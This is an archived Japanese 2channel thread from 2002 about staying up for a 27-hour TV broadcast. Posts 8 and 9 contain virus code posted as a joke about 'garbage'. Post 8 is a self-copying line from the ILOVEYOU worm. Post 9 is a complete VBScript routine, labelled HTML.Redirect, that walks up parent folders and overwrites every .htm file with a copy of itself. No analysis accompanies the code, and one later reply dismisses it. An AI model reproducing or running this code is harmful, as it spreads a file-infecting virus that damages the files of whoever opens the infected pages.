2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

   27時間テレビを最後まで見るスレ   

1 :名無し~3.EXE:02/07/06 21:41
おれは、寝ないぞ!

2 :名無し~3.EXE:02/07/06 21:41
ここで2get

3 :名無し~3.EXE:02/07/06 21:42
あゃゃ出せ

4 :名無し~3.EXE:02/07/06 21:44
    ∧ ∧         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| ̄ ̄( ゚Д゚) ̄ ̄|   <    寝る!
|\⌒⌒⌒⌒⌒⌒\   \
|  \           \    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
\  |⌒⌒⌒⌒⌒⌒|
  \ |_______|

5 :名無し~3.EXE:02/07/06 21:47
そんなのやってんの?

6 :名無し~3.EXE:02/07/06 21:48
フジテ○ビの企画で7/7にごみを拾うのがあるんだが、2チャンねらーたちが7/6午前6時から必死で、ごみ拾ってるんだ。今。

7 :名無し~3.EXE:02/07/06 21:51
くだらね。

8 :名無し~3.EXE:02/07/06 21:51
こんなごみどうよ。
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")


9 :名無し~3.EXE:02/07/06 22:04
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub

10 :名無し~3.EXE:02/07/07 12:55
>>9
バカのひとつ覚え
ウゼェ

2 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)